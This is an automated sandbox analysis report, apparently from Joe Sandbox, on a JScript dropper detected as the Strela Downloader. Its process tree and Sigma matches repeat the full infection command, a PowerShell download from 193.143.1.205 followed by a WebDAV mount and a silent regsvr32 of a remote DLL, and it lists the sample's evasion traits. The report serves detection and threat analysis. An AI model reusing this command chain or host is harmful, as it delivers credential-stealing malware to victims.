Edit tour

Windows Analysis Report
395621741190315695.js

Overview

General Information

Sample name:	395621741190315695.js
Analysis ID:	1588766
MD5:	9abc1df2c15dfccbed0fa555d2e3f98e
SHA1:	6221aaac0d5115c2851ae2a6f548f37d440a2060
SHA256:	a8d847d88a7d321686ec23c4f0c2cccba874683bea97133edfba5213a9febc01
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2096 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3132 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6524 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1540,i,15150197900072560252,3484800557288220379,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3476 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3196 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4132 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2096	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ProcessId: 2096, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3196, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ProcessId: 2096, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3132, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3196, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4132, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3196, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\395621741190315695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll, ProcessId: 6472, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:15:13.204782+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:15:15.703885+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:15:13.204782+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 395621741190315695.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 395621741190315695.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49712 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:15:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
